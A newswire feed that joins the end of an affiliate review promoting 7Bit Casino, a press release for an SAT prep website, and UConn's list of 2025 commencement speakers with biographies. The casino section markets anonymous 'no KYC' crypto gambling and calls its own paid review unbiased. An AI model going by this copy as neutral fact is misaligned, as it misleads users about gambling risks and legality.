- Litecoin (LTC): Lightweight crypto with low fees.
- Dogecoin (DOGE): Popular altcoin for microtransactions.
- Tether (USDT): Stablecoin for consistent value.
- Binance Coin (BNB): Versatile crypto for fast transfers.
- Cardano (ADA): An eco-friendly blockchain for secure payments.
- Ripple (XRP): Low-cost, high-speed transactions.
- Tron (TRX): Scalable crypto for efficient transfers.
- Bitcoin Cash (BCH): An enhanced Bitcoin variant for quick transactions.

Crypto transactions are instant and anonymous, reinforcing 7Bit’s status as a best no KYC casino. Fiat options like Interac and Skrill are also fast, with Pay ID withdrawals processed in under an hour, making 7Bit a leading Pay ID casino.

Customer Support

7Bit provides robust 24/7 support through:

Live Chat: Instant, multilingual assistance for real-time issue resolution.
Email: Detailed support for complex inquiries, with responses typically within 24 hours.
FAQ Section: Comprehensive self-help resources covering account management, payments, and bonuses.

While phone support is absent, the responsive live chat and email systems ensure player satisfaction. The FAQ section is regularly updated based on player queries, reflecting 7Bit’s commitment to user experience, a key trait of the best online casinos Canada.

Games Available in 7Bit Casino

7Bit’s expansive library of over 10,000 games includes:

Slots

Featuring the best online pokies, with high-RTP titles and diverse themes:

Mega Moolah: Progressive jackpot with life-changing payouts, ideal for jackpot hunters.
Starburst: Vibrant, fast-paced slot with frequent wins.
Book of Dead: Adventure-themed favorite with immersive storytelling.
Johnny Cash: Music-inspired slot with engaging features.
Raging Lion: Safari-themed game with big win potential.

Table Games

Classic and modern variants for strategic players:

Blackjack: Includes Classic, Multi-Hand, and European variants for varied gameplay.
Roulette: European, American, and French versions with distinct betting options.
Baccarat: Punto Banco and Speed Baccarat for quick, elegant play.
Craps: Fast-paced dice game with multiple betting strategies.
Poker: Texas Hold’em, Caribbean Stud, and Video Poker (Jacks or Better) for skill-based fun.

Live Dealer Games

Powered by Evolution Gaming and Pragmatic Play, offering immersive real-time experiences:

Live Blackjack: Multi-table options with interactive dealers.
Live Roulette: HD streaming for authentic spins, with European and American variants.
Live Baccarat: Elegant gameplay with professional croupiers.
Live Poker: Casino Hold’em and Three Card Poker for strategic battles.
Game Shows: Dream Catcher, Crazy Time, and Monopoly Live for entertainment-driven play.

Instant Win Games

Quick-play options for instant thrills:

Scratch Cards: Simple games with instant prize reveals.
Keno: Number-based game with customizable bets.
Bingo: Classic and themed variants for casual fun.

This diverse selection makes 7Bit a top destination among the best online casinos Canada (Casino.org).

The Most Popular Pay-out Methods at 7Bit Casino

The most preferred payout methods at 7Bit include:

Cryptocurrencies: Bitcoin, Ethereum, and Litecoin offer instant withdrawals with low fees, ideal for anonymous transactions.
E-wallets: Skrill, Neteller, and Interac provide quick processing, typically within 1–24 hours.
Pay ID: Near-instant withdrawals, highly popular among Canadian players for speed and convenience.
Bank Transfers: Reliable but slower, taking 3–5 days, suitable for larger withdrawals.

Crypto’s speed and anonymity make it a favorite, aligning with 7Bit’s anonymous online casino appeal. Pay ID’s efficiency further enhances its status as a leading pay ID casino.

Additional 7Bit Casino Highlights

Award Recognition: 7Bit has been nominated for “Best Crypto Casino” in recent industry awards, reflecting its excellence in the crypto gaming space.
Global Accessibility: Supports players from multiple countries, with region-specific promotions tailored to Canadian users.
High Volatility Options: A dedicated section for high-volatility slots caters to risk-takers seeking big wins.
Player-Driven Updates: Regular platform enhancements based on user feedback, such as improved navigation and new game categories.
Crypto Staking Rewards: Experimental feature allowing players to earn small rewards by holding certain cryptocurrencies in their 7Bit wallet.
Exclusive Game Releases: Early access to new titles from providers like BGaming, often paired with free spins promotions.
Social Responsibility: Partnerships with responsible gambling organizations and in-house tools to promote safe play (Bitcoin Casino Kings).

Final Thoughts On Best Online Casinos Canada

7Bit Casino, rated 4.8/5 for 2025, offers innovation, security, and entertainment with a vast game library, crypto-friendly platform, instant payouts, and player-focused features. Ideal for free spins, online pokies, or live dealer games, it excels as a leading pay ID and anonymous casino, delivering a secure, rewarding, and cutting-edge experience.

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Frequently Asked Questions

Is 7Bit Casino legal in Canada?
Yes, 7Bit Casino is licensed by the Curacao eGaming Commission, making it legal for Canadian players outside Ontario, where iGaming Ontario regulates local operators. Always verify local laws before playing.
What’s the welcome bonus?
New players can claim up to 5.25 BTC + 250 free spins across four deposits. The bonus is structured to reward initial deposits, with free spins usable on select slots.
How fast are withdrawals?
Crypto and Pay ID withdrawals are processed instantly, often within minutes. E-wallets like Skrill take 1–24 hours, while bank transfers may require 3–5 days.
Is there a mobile version?
Yes, 7Bit offers a seamless mobile platform compatible with iOS and Android. Players can access the full game library and manage accounts without downloading an app.
Are there no deposit bonuses?
Yes, 7Bit occasionally offers no-deposit bonuses, such as free spins for new players or Telegram promotions. Check the promotions page or social channels for updates.
Can I play anonymously?
Yes, crypto transactions allow anonymous play, requiring minimal personal information. This makes 7Bit a top choice for privacy-conscious players.

EMAIL: Support@7bitCasino.com

Disclaimer and Affiliate Disclosure

General Disclaimer
This article is for informational and entertainment purposes only, not legal or financial advice. Content is based on research and user reviews as of writing. No warranties are made, and users must verify information before acting.

Casino and Gambling Disclaimer
Online gambling carries risks and isn’t for everyone. Confirm you’re of legal gambling age in your jurisdiction. Gambling laws vary, and compliance is your responsibility. We don’t promote gambling; participation is at your risk. 7Bit Casino is a third-party platform, and we’re not liable for losses or disputes.

Affiliate Disclosure
This article may include affiliate links, earning us a commission at no cost to you for qualifying actions. These support our content. Our reviews are unbiased, and we recommend only valuable products.

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/ee7b7996-5711-4ded-8c48-d7d20368a86a

The MIL Network –

April 30, 2025

MIL-OSI: BestSATscore.com: SAT Prep Solution for the Digital SAT Practice Test

Source: GlobeNewswire (MIL-OSI)

Emeryville, California, April 29, 2025 (GLOBE NEWSWIRE) — SAT Prep and SAT practice test are undergoing a transformation as the exam fully transitions into a digital format, and BestSATscore.com is leading the way with an all-in-one platform that covers every stage of student preparation. From skill-based lessons and a meticulously organized question bank to full-length adaptive SAT Practice Tests and a true-to-life Bluebook simulation, BestSATscore.com ensures students receive the most modern and effective SAT Prep experience available.

Foundational Lessons and Guides to Build Core SAT Prep Skills

Recognizing the importance of a strong academic foundation, BestSATscore.com provides extensive SAT Prep lessons and guides tailored to each essential skill area. Students can access beginner-friendly content across reading, writing, and math, ensuring they build a deep understanding before progressing to practice. With a focus on clarity, relevance, and alignment with the current digital SAT structure, BestSATscore.com sets students up for long-term success from the very beginning of their SAT Prep journey.

Targeted Practice through a Skill-Based Question Bank with Verified Explanations

Following skill development, students can engage in deliberate practice through BestSATscore’s skill-organized SAT Prep question bank. Each question is paired with a step-by- step, triple-verified explanation to reinforce understanding and prevent common misconceptions. This approach allows students to immediately apply their newly acquired knowledge, ensuring that their SAT Prep time is spent efficiently and effectively.

The question bank also serves as the perfect companion to BestSATscore.com s adaptive SAT Practice Tests, allowing students to first learn concepts through lessons, then reinforce them through skill-based questions, and finally test their mastery through realistic exam simulations.

Thirteen Full-Length Adaptive SAT Practice Tests for Score Growth

To simulate real testing conditions and maximize progress, BestSATscore.com offers 13 full- length adaptive SAT Practice Tests. These tests are carefully designed to replicate the latest digital SAT format, allowing students to practice in an environment that mirrors the real exam. After each SAT Practice Test, students receive instant scoring, using the most up-to-date official scoring algorithms released by the College Board.

Each SAT Practice Test automatically generates a comprehensive score report, matching the format and level of detail seen in the official Bluebook platform. The report includes not just

overall section scores, but also subscores, percentile rankings, question-by-question performance analysis, and skill-specific feedback.

This high-fidelity approach to adaptive testing brings multiple advantages:

Real-Time Feedback: Students immediately understand their performance without any delay, making it easier to adjust their study plans.
Authentic Scoring: By using the latest official algorithms, students can trust that their SAT Practice Test scores closely predict actual SAT outcomes.
Detailed Performance Breakdown: Skill-by-skill analysis helps students target weak areas efficiently.
True Bluebook Experience: Every element, from the test interface to the score report structure, matches the real SAT environment exactly, building confidence for the actual test day.

Through this system, BestSATscore.com ensures that every SAT Prep practice session and SAT Practice Test translates directly into measurable improvement and genuine readiness.

Authentic 1:1 Bluebook Simulation for True Exam Readiness

BestSATscore.com offers an authentic 1:1 Bluebook simulation environment that mirrors the official College Board SAT application down to the smallest detail. From the moment students start a SAT Practice Test, they are immersed in an interface that replicates every operational aspect of the real exam — including screen layouts, navigation flows, section timing, digital highlighting tools, built-in calculators, and answer review functionalities.

This high-fidelity simulation provides numerous critical benefits for SAT Prep:

Mastering Digital Navigation: Students practice switching seamlessly between modules, managing digital answer grids, and utilizing review screens — eliminating surprises on test day.
Familiarity with Official Tools: The built-in Desmos calculator, line reader tool, annotation features, and countdown timers are exactly like those in the real SAT, helping students optimize their strategy and timing.
Reducing Test-Day Anxiety: Familiarity with the test environment dramatically reduces stress, enabling students to focus fully on content rather than logistics.
Building Realistic Time Management Skills: With authentic time warnings and auto- submission at section ends, students develop strong pacing instincts critical for SAT success.
Practicing Adaptive Module Transitions: BestSATscore.com’s simulation includes the adaptive module logic of the real SAT, so students experience firsthand how performance in the first module influences the second — a key feature of the digital exam.
Enhanced Confidence and Efficiency: By training under realistic conditions repeatedly through SAT Practice Tests, students internalize test mechanics, leading to smoother, faster performance when it matters most.

BestSATscore.com ensures that students are not only academically prepared but also operationally fluent, bridging the crucial gap between content knowledge and real-world exam execution.

For more information, visit www.bestsatscore.com.

Media Contact:

BestSATscore

Name: Jordan Zang

Website: https://www.bestsatscore.com/ Email: contact@bestsatscore.com
Location: 5765 Horton Street, Suite 300 Emeryville, CA 94608 United States

About BestSATscore.com

BestSATscore.com offers a cutting-edge digital SAT Prep platform built around skill mastery, targeted practice, authentic testing experiences through adaptive SAT Practice Tests, and continuous content innovation, helping students achieve their highest potential on the SAT.

Attachment

BestSATscore

The MIL Network –

April 30, 2025

MIL-OSI USA: 2025 Commencement Speakers and Honorary Degree Recipients

Source: US State of Connecticut

From business success to the National Science Foundation, from policymaking in Hartford to the world’s most popular YouTube sneaker channel, from the Chairman of the Mashantucket Pequot Tribal Nation to the President of the Rwanda Academy of Sciences, the honored guests of UConn’s commencement ceremonies bring a wealth of experience, insight, and wisdom to share with this year’s graduates. Speakers at the ceremonies, which begin on Saturday, May 10, include:

College of Engineering (Saturday, May 10, 9 a.m. at Gampel Pavilion): Mark P. Sarkisian ’83

Mark Sarkisian is a partner in the San Francisco office of Skidmore, Owings & Merrill LLP. He is a licensed professional engineer and structural engineer in 31 states. In 2021, Sarkisian was elected to the National Academy of Engineering, and is a member of the University of Connecticut Academy of Distinguished Engineers. He received his bachelor’s degree in civil engineering from UConn in 1983, and his master’s degree in structural engineering from Lehigh University. Sarkisian’s career focuses on developing innovative structural engineering solutions for over 100 major building projects around the world, including the Jin Mao Tower in China and the Al Hamra Fidrous Tower in Kuwait, both over 1,300 feet[1]tall. Sarkisian holds 10 U.S. patents and five international patents. Sarkisian has authored over 150 technical papers related to the design of building structures, and in 2012 completed his first book, “Designing Tall Buildings – Structure as Architecture.” He teaches integrated studio design courses focused on collaborative design opportunities at the University of California, Berkeley; California College of the Arts; Stanford University; California Polytechnic State University; Northeastern University; North Carolina State University; and the Pratt Institute.

School of Nursing (Saturday, May 10, 9 a.m. at Jorgensen Center for the Performing Arts): Joan Y. Reede

Dr. Joan Y. Reede was appointed as Harvard Medical School’s (HMS) first Dean for Diversity and Community Partnership in January of 2002, and has been responsible for the development and management of a comprehensive program that has provided leadership, guidance, and support to promote the increased recruitment, retention, and advancement of diverse faculty, particularly individuals from groups underrepresented in medicine. This charge includes oversight of all diversity activities at HMS as they relate to faculty, trainees, students, and staff. Reede is a graduate of Brown University and Mount Sinai School of Medicine. She completed a pediatric residency at Johns Hopkins Hospital in Baltimore, Maryland, and a fellowship in child psychiatry at Boston Children’s Hospital. She holds an MPH and an MS in Health Policy Management from Harvard T. H. Chan School of Public Health, and an MBA from Boston University. Reede created and developed more than 20 programs at HMS that aim to address pathway and leadership issues for minorities and women who are interested in careers in medicine, academic and scientific research, and the health care professions. At a national level, Reede’s advice and expertise is highly sought after among several committees and councils, such as being appointed to the Health and Human Services Advisory Committee on Minority Health and serving on the Board of Governors for the Warren Grant Magnuson Clinical Center. She also has many affiliations, including the Task Force for the Annual Biomedical Research Conference for Minority Students, CTSA Women in CTR Interest Group of the NIH, and the American Association for the Advancement of Science STEM Education Review Committee.

School of Business (Saturday, May 10, 1:30 p.m. at Gampel Pavilion): Richard Eldh ‘81

Rich Eldh was born in the village of Ardsley, New York, and moved homes five times between the ages of 5 and 15. He attended Staples High School in Westport, graduating as a three-sport athlete and an all-state football player. After high school, he enrolled at the University of Connecticut. In what would have been his junior year, 1978–1979, he took a leave of absence to travel abroad, living in Kempten, Germany, in Bavaria. There, he worked at Dixie Union, a manufacturing company, as a computer programmer, where he developed new automation software for the finance department. This experience in Germany highlighted the significant impact computing technology would have on business. Motivated by this realization, he decided to pursue a career in the computer industry. Upon returning to the University of Connecticut for his final two years, he majored in finance at the School of Business and graduated in 1981 with a degree in Finance. He first joined a manufacturing firm implementing automation software, then moved to Four Phase Systems, a Motorola company, selling data entry systems. Later, he joined Hewlett-Packard, specializing in manufacturing systems and automation. It was at HP that he met his wife; they married and started a family. After working for two very large corporations, Rich joined a startup called Gartner Group in Stamford. He was the 100th employee, and in ten years, the company grew from $9 million in revenue to just under $1 billion with 4,500 employees. Today, Gartner boasts a market cap of $38 billion with 21,000 employees. These early career highlights led Rich to co-found Sirius Decisions, which became a leader in high-performance go-to[1]market research and benchmarking. Headquartered in Wilton, Sirius Decisions grew to 400 employees with private equity backing and offices worldwide. The company was eventually monetized for approximately $300 million through a sale to a public company in Boston. Throughout his career, he has had the honor of working with associates and clients across more than 50 countries. Alongside his career, Rich and his wife Joyce raised two daughters and a son. They have each found success in the medical field, the fashion world, and the blockchain and crypto industry, respectively.

School of Social Work (Saturday, May 10, 1:30 p.m. at Jorgensen Center for the Performing Arts): Maggie Mitchell Salem

Maggie Mitchell Salem joined IRIS as Executive Director in January 2024. Throughout her nearly 30-year career, Maggie has managed diverse teams focused on civic education, intercultural dialogue, social and political rights, and forced displacement. She arrived in Connecticut following three years leading the National Democratic Institute’s democratic governance program in Tunisia. Given the exponential increase in the number of refugees, humanitarian parolees, and other immigrants that IRIS assists, Maggie has focused on organizational structure, systems, and policies that create a strong foundation for the organization’s continued growth. Her previous experience at Global Refuge (formerly Lutheran Immigration & Refugee Services) and Fugees Academy have underscored the importance of collaborative, communicative leadership and management. For more than a decade, she was the founding executive director of Qatar Foundation International and expanded Arabic language and culture education to public K-12 schools across the U.S., UK, and Germany. As the Regional Director for the Middle East and North Africa at the International Foundation for Electoral Systems (IFES), she expanded or created new programs in Jordan, Iran, and Iraq. Maggie started up and led the Middle East Institute’s Communications Department from 2001-2004. She also served as a U.S. Foreign Service Officer in Mumbai and Tel Aviv, and as staff on the Executive Secretariat of Secretary of State Madeleine Albright. Maggie was a Fulbright Scholar in Syria while studying for her Masters in Contemporary Arab Studies at Georgetown University. She received a bachelor’s degree in political science and psychology from Johns Hopkins University. She has two sons and two daughters. She lives with her six dogs and two cats in East Haddam.

Bachelor of General Studies (Saturday, May 10, 2 p.m. at Student Union Theater): Daniel Mercier ‘95

Daniel Mercier graduated from the Bachelor of General Studies program in 1995 with a focus in Visual Communications. After serving as a Graphics Specialist for a few years, Mercier returned to UConn in 1998 as a Media Producer. In 2001, he transitioned to the role of Instructional Developer in the Instructional Design and Development Department. After completing a Master of Arts in Educational Technology in 2003, Mercier became Manager of Instructional Design and Development and ultimately served as Assistant Director and Director of the Institute of Teaching and Learning. In 2015, he took on the role of Director, Instructional Design, in the Center for Pedagogical Innovation at Wesleyan University. In 2017, Mercier returned to UConn as the Director of Academic Affairs at the Avery Point Campus of the University of Connecticut. Throughout his 30-plus-year career, Mercier has demonstrated an unwavering commitment to the development of instructional tools, to help faculty utilize technologies to reach our students. In his work, he has supported faculty, staff and students across the higher education landscape. His commitment to the University of Connecticut spans nearly 25 years. In his current position, he recruits faculty, oversees academic advising and other academic support programs, and develops partnerships between the Avery Point campus and other academic entities within and outside UConn. These partnerships include the support of students in the Bachelor of General Studies Program.

College of Agriculture, Health and Natural Resources (Saturday, May 10, 6 p.m. at Gampel Pavilion): Rodney Butler ’99 (BUS)

Rodney A. Butler is the Chairman of the Mashantucket Pequot Tribal Nation (MPTN) since January 2010. Butler’s service on Tribal Council began in 2004, and after one year, he was appointed Tribal Council Treasurer; a position he held through 2009. During his tenure, Butler chaired the Tribe’s Finance, Housing, and Judicial Committees, the MPTN Utility Authority, and served as an Interim CEO for Foxwoods Resort Casino. Butler earned his Bachelor’s Degree in Finance from the University of Connecticut where he played Defensive Back for the UConn Huskies football team. Prior to Tribal Council, Butler worked in the finance department at Foxwoods Resort Casino. He later became Chairman of the Tribal Business Advisory Board; an executive body responsible for overseeing the Tribe’s non-gaming businesses and commercial properties. Butler was actively involved in multiple resort expansions at Foxwoods, as well as community development initiatives on the Reservation, the establishment of the Mashantucket (Western) Pequot Tribe Endowment Trust, and the legalization of Sports Betting and iGaming in the state of Connecticut. He was also a participant in Harvard Business School’s program “Leading People and Investing to Build Sustainable Communities.” He is a regular speaker on national panels related to Native American issues. Butler presently serves on the Board of Directors for Mashantucket Pequot Interactive and is on the board of Foxwoods El San Juan Casino. He also serves as the President of Native American Finance Officers Association (NAFOA), as Alternate Vice President for the National Congress of American Indians, and on the boards for the United South and Eastern Tribes, Indian Gaming Association, American Gaming Association, the Mystic Aquarium, and the United Way of Southeastern Connecticut. He is the 2019 recipient of the Citizen of the Year award from the Eastern Connecticut Chamber of Commerce, and the National Indian Gaming Association’s John Kieffer Sovereignty Award. In 2018, he received the St. Edmund’s Medal of Honor Award from the Enders Island Retreat Center. In 2017, Butler was appointed “Tribal Leader of the Year” by the NAFOA. As Chairman, Butler’s primary focus is to ensure long-term stability for the Tribe’s citizens, government, and business enterprises.

School of Fine Arts (Saturday, May 10, 6 p.m. at Jorgensen Center for the Performing Arts): Jacob G. Padrón

Jacob G. Padrón is the Artistic Director of Long Wharf Theatre in New Haven. He is also the Founder and Artistic Director of The Sol Project, a national theater initiative that works in partnership with leading theater companies to amplify the voices of Latino playwrights in New York City and beyond. Padrón has held senior-level artistic positions at theater companies across the country. He was the Senior Line Producer at The Public Theater where he worked on new plays, new musicals, Shakespeare in the Park, and Public Works. He was formerly the Producer at Steppenwolf Theatre Company in Chicago where he supported the artistic programming in the Garage – Steppenwolf’s dedicated space for new work, new artists, and new audiences. From 2008 to 2011, he was an Associate Producer at the Oregon Shakespeare Festival where he was instrumental in producing all shows in the 11-play repertory. Under the guidance of his late mentor Diane Rodriguez, he served as the producer of Suzan-Lori Parks’ “365 Days/365 Plays” for Center Theatre Group, a collaboration that included over 50 theater companies to launch Festival 365 in Los Angeles. He is a co-founder of the Artist Anti-Racism Coalition, a grassroots movement committed to dismantling structural racism within the Off-Broadway community. Jacob is a graduate of Loyola Marymount University (B.A.) and David Geffen School of Drama (M.F.A.). His first artistic home was El Teatro Campesino located in San Juan Bautista, California.

College of Liberal Arts and Sciences, Ceremony I (Sunday, May 11, 9 a.m. at Gampel Pavilion): Maureen Ahern ‘85

Maureen Ahern is an Executive Leadership Coach on her third career whose journey began in the same classrooms as today’s graduates. A proud Husky who earned both a Bachelors and a Masters, Maureen’s connection to UConn runs deep. For over 10 years, she returned to UConn Stamford each week as an Adjunct Professor, teaching Interpersonal Communications and Public Speaking after her corporate day job in New York, driven by her belief that becoming a great communicator gives you the power and confidence to take meaningful action to shape your future. Maureen started as a Sales Executive at The Associated Press and quickly rose to lead the Satellite Networks division before transitioning to Standard and Poor’s Comstock. At S&P she led many different departments as Director of Operations, VP of US Sales and Managing Director for Asian and South American markets, building successful international relationships while traveling the world. She was part of the management team that sold Comstock to IDC and then pivoted from corporate into the digital world, as Partner and COO of momAgenda, where she helped build a thriving e-commerce company. Drawing on her teaching background, leadership experience and desire to coach and mentor others, Maureen completed her leadership coaching certification at Georgetown University’s Transformational Leadership Institute. Today as Founder of Ahern Leadership Coaching and Consulting, Maureen partners with C-suite executives and emerging leaders across industries, facilitating leadership development through one-on-one coaching, team coaching, and specialized training and leadership development workshops. Her coaching philosophy – described by clients as “tough but loving”-centers on her belief that leaders aren’t born, they are made and that everyone has leadership capacity waiting to be unlocked through awareness, action and courage. Maureen was a mentor with the Freshman Founders Program at the Werth Institute at UConn Stamford, in addition to her volunteer work with CT NEXT and Startup Westport as a business mentor. She is also an angel investor with Tidal River Fund whose goal is to fund underrepresented founders. When not working with her clients whom she loves and adores, Maureen enjoys yoga, beach walks, and time with her three adult children (Patrick, Brendan and Caeleigh). She shares life in Cos Cob with her husband Mike Santini (fellow UConn grad) and their black lab, Nino.

Neag School of Education (Sunday, May 11, 9 a.m. at Jorgensen Center for the Performing Arts): Suzanne M. Wilson

Suzanne M. Wilson is the Neag Endowed Professor of Teacher Education at the University of Connecticut’s Neag School of Education, where she also serves as a professor in the Department of Curriculum and Instruction. Her undergraduate degree is in history and American studies from Brown University; she also has an M.S. in statistics and a Ph.D. in psychological studies in education from Stanford University. She was a University Distinguished Professor in the Department of Teacher Education at Michigan State University, where she served on the faculty for 26 years. Wilson also served as the first director of the Teacher Assessment Project, which developed prototype assessments for the National Board for Professional Teaching Standards. Wilson is a committed teacher, having taught undergraduate, master’s, and doctoral classes in educational policy, teacher learning, and research methods. She has directed 36 dissertations and served as a committee member for another 45. Wilson serves on multiple editorial and advisory boards. She was elected to the National Academy of Education in 2013 and to the American Academy of Arts and Sciences in 2022. Wilson has written on teacher knowledge, qualitative methods, curriculum reform, educational policy, and teacher preparation and professional development. She has published in Science, American Educator, American Educational Research Journal, Educational Researcher, Review of Educational Research, Elementary School Journal, Teaching and Teacher Education, Journal of Teacher Education, Phi Delta Kappa, and Teaching Education. She is the author of “California Dreaming: Reforming Mathematics Education” (Yale, 2003) and editor of Lee Shulman’s collection of essays, “Wisdom of Practice: Essays on Teaching, Learning, and Learning to Teach” (Jossey-Bass, 2004). She is currently working on a collection of essays entitled, “Why Teach?”

College of Liberal Arts and Sciences Ceremony II (Sunday, May 11, 1:30 p.m. at Gampel Pavilion): Joe La Puma ‘05

Joe La Puma serves as SVP of Content Strategy at Complex NTWRK and hosts Complex’s Sneaker Shopping, the world’s No. 1 sneaker show, which has garnered over 1 billion views on YouTube. He has been at the forefront of sneaker and street culture at Complex for the past 15 years. La Puma started his journalism career writing for The Daily Campus and was voted “Rookie of the Year” by fellow staffers. After graduating from UConn in 2005 with a degree in Journalism, he returned to Bay Shore to manage The Finish Line—where he previously worked in high school—while contributing articles to both local and global publications like Newsday and Hypebeast.com. In 2006, La Puma landed an internship at Complex magazine, a pop culture publication specializing in convergence culture through hip-hop, sneakers, and fashion. La Puma has written more cover stories (21) than any other writer in Complex history, including profiles on Justin Bieber, Katy Perry, and Kid Cudi. La Puma is also a published author of the book “Complex Presents: Sneaker of the Year: The Best Since ’85.” In his current SVP role, La Puma has led Complex to over 200% growth in audience and engagement. In 2014, Complex debuted the YouTube show Sneaker Shopping, a series that La Puma created and hosts to this day. Over the past decade of Sneaker Shopping, La Puma has interviewed icons like Eminem, Whoopi Goldberg, Kevin Hart, Mark Wahlberg, Billie Eilish, Cristiano Ronaldo, David Beckham, and conducted one of the only lifestyle interviews with former Vice President Kamala Harris during the 2020 election cycle. The show has filmed episodes across the U.S., as well as abroad in China, England, Spain, and Japan. With his extensive editorial work on footwear and over 300 episodes of Sneaker Shopping, La Puma is regarded as one of the foremost sneaker experts in the world. La Puma is a three-time Webby Award winner and has been featured on Good Morning America, and The Tonight Show With Jimmy Fallon. In 2024, La Puma was inducted into the Bay Shore High School Hall of Fame, a group that includes only 79 members since the school opened in 1893. La Puma currently lives in Brooklyn, and takes half-days at work when he can during UConn Basketball March Madness runs.

School of Pharmacy – Doctor of Pharmacy (Sunday, May 11, 1:30 p.m. at Jorgensen Center for the Performing Arts): JoAnn Trejo

JoAnn Trejo, Ph.D., MBA is professor of pharmacology and senior assistant Vice Chancellor for Health Sciences Faculty Affairs at the University of California (UC) San Diego. She completed her undergraduate degree at UC Davis, earned her Ph.D. and MBA at UC San Diego and completed postdoctoral training at UC San Francisco. Trejo is a basic science researcher with expertise in cell signaling in the context of vascular inflammation and cancer. Her research has been published in more than 100 peer-reviewed articles and she is a recipient of a NIH R35 Maximizing Investigators’ Research Award (MIRA) and the American Heart Association Established Investigator Award. Trejo is an outstanding educator, mentor and a leader actively engaged in initiatives aimed at enhancing excellence in science and pharmacology. She is the director of five NIH-supported training programs including the UC San Diego IRACDA Postdoctoral Scholars Program, FIRST Program and three early career faculty development programs. Trejo served as an elected member of the leadership Council for the ASCB and the American Society for Biochemistry and Molecular Biology and is a current member of the scientific advisory boards for Septerna and Versiti. She has also served on multiple NIH Study Sections, the NCI Board of Scientific Counselors for Basic Sciences, and Blavatnik, HHMI and Chan Zuckerberg foundation review panels. Trejo is a current member of the NIGMS Advisory Council. She is the Associate Editor for Molecular Biology of the Cell and is an editorial board member for Proceedings National Academy of Sciences Nexus, Journal of Biological Chemistry and Molecular Pharmacology. Trejo is an elected member of the National Academy of Medicine, American Society for Cell Biology (ASCB) Fellow and 100 Inspiring Hispanic / Latinx Scientists and was recently elected honorary fellow of the British Pharmacological Society.

College of Liberal Arts and Sciences Ceremony III (Sunday, May 11, 5:30 p.m., Gampel Pavilion): Joe La Puma ‘05

School of Pharmacy – Bachelor of Science (Sunday, May 11, 6 p.m., Jorgensen Center for the Performing Arts): Joe Honcz ‘98

Joe Honcz is a distinguished expert in managed care and market access, boasting a robust 25-year career that spans significant sectors of the health care industry. Early in his career, he played a pivotal role in leading teams for the launch of Medicare Part D, followed by instrumental involvement in the implementation of the Affordable Care Act while at Anthem BCBS and Aetna. Since 2020, Joe has leveraged his profound understanding of managed care to deliver strategic market access insights, empowering over 20 biotech and pharmaceutical clients to effectively navigate complex market dynamics. His contributions have been crucial in the successful launch of innovative products in both traditional and rare/orphan disease categories. As a “pharmacy futurist,” he continues to drive innovation and shape market access strategies at Petauri Health, supporting the emerging pharmaceutical and health tech industries. His exceptional ability to anticipate industry trends has consistently provided clients with strategic advantages, enabling them to stay ahead of competitors with foresight and precision. Beyond his professional endeavors, Joe is actively involved at Yale Ventures as an Entrepreneur-in-Residence and at the University of Connecticut Technology Commercialization Services in the same capacity. He has also served as an Adjunct Professor at the University of St. Joseph School of Pharmacy and is on the Board of Directors for the Academy of Managed Care Pharmacy (AMCP) and Avery’s Little Army, whose mission is to honor the legacy of Avery Marie Lafferty, an exceptionally brave cancer rebel, and all patients like her. Joe’s extensive background is complemented by diverse roles at Pfizer, Walgreens, Humana, PrecisionAQ, and CVS. He holds a Bachelor of Science in Pharmacy and a Master of Business Administration with a concentration in Marketing from the University of Connecticut, underscoring his deep roots and commitment to the field. In addition to being a Board member, he is also an AMCP diplomat to the UConn School of Pharmacy, where he fulfills his passion for mentoring and coaching.

The Graduate School – Masters Ceremony (Monday, May 12, 9 a.m. at Gampel Pavilion): Manasse Mbonye ’95 Ph.D.

Manasse Mbonye is a Founding Fellow of the Rwanda Academy of Sciences (RAS) and its current President. He is also the Group Leader and Professor, Rwanda Astrophysics Space and Climate Sciences Research Group (RASCSRG) at the University of Rwanda and a member of the national Science Advisory Group (SAG). By Training, Mbonye is a theoretical Astrophysicist and Cosmologist. He completed his Ph.D. from the University of Connecticut in 1995. Mbonye has taught Physics at various institutions including UConn, the University of Michigan, and RIT. He has also worked at NASA (Goddard Space Flight Center). In 2012, Mbonye returned to Africa. Since then, his appointments have included, Provost (later) Ag Rector (National University of Rwanda), the first Principal (University of Rwanda, College of Science and Technology), and Executive Secretary (Rwanda’s National Council for Science and Technology, (NCST)). During Mbonye’s tenure, NCST instituted a major review of Rwanda’s Science, Technology, Research and Innovation (STRI) policy. Further, the National Research and Innovation Agenda (NRIA) was constructed, along with its implementation enabler, the National Research and Innovation Fund (NRIF) framework. Rwanda launched the NRIF in June 2018. Mbonye has served on the East African Science and Technology Commission (EASTCO) Board of Directors as its Rapporteur (2017-2018). He has also been Chairman of the Rwanda Energy Group (REG) (2015-2018), Rwanda’s sole electric energy production source and utility company. Prof. Mbonye continues to do research and supervise students, at the University of Rwanda.

UConn Health (Monday, May 12, 1 p.m. at Jorgensen Center for the Performing Arts): Manisha Juthani

Dr. Manisha Juthani, is the Commissioner of the Connecticut Department of Public Health (DPH). Juthani is the first Indian American to serve as a commissioner in the State of Connecticut. She served as professor of medicine at Yale School of Medicine through September 2024 and currently serves as an adjunct professor of medicine. She served as Director of the Infectious Diseases Fellowship Program from 2012 to 2021. Juthani received her B.A. from the University of Pennsylvania and M.D. from Cornell University Medical College, completed Internal Medicine residency training at New York-Presbyterian Hospital/Weill Cornell campus, and served as chief resident at Memorial-Sloan Kettering Cancer Center. She came to Connecticut in 2002 as an Infectious Diseases fellow at Yale School of Medicine. During the COVID-19 pandemic, Juthani was a leader in the COVID response at Yale which led to her appointment as Commissioner of CT DPH in 2021. In the early days of the pandemic, she was a voice to help educate the public in both local and national media outlets, a role she was able to expand in her role as Commissioner. Upon joining CT DPH, she helped guide Connecticut out of the pandemic and worked to revitalize areas of public health, such as gun violence, maternal health, opioid use, and sexually transmitted diseases, that were exacerbated during the pandemic. As she continues in her role as DPH Commissioner, Juthani has shifted her core vision to “Preserve and Protect Core Public Health Principles and Services.” As Connecticut is presented with new public health challenges, she remains committed to preserving public health achievements made over the years, including improvements in regulatory oversight in health care, drinking water, and environmental health which includes food safety. It is more important than ever to highlight the importance of vaccines, control of infectious diseases, road safety, and healthier mothers and babies. Clear, accurate communication about public health risks is vital to her mission. She continues to advocate for health as a human right which is the core vision of CT DPH. Juthani is on the Board of Directors of UConn Health.

The Graduate School – Doctoral Ceremony (Monday, May 12, 6 p.m. at Jorgensen Center for the Performing Arts): Sethuraman Panchanathan

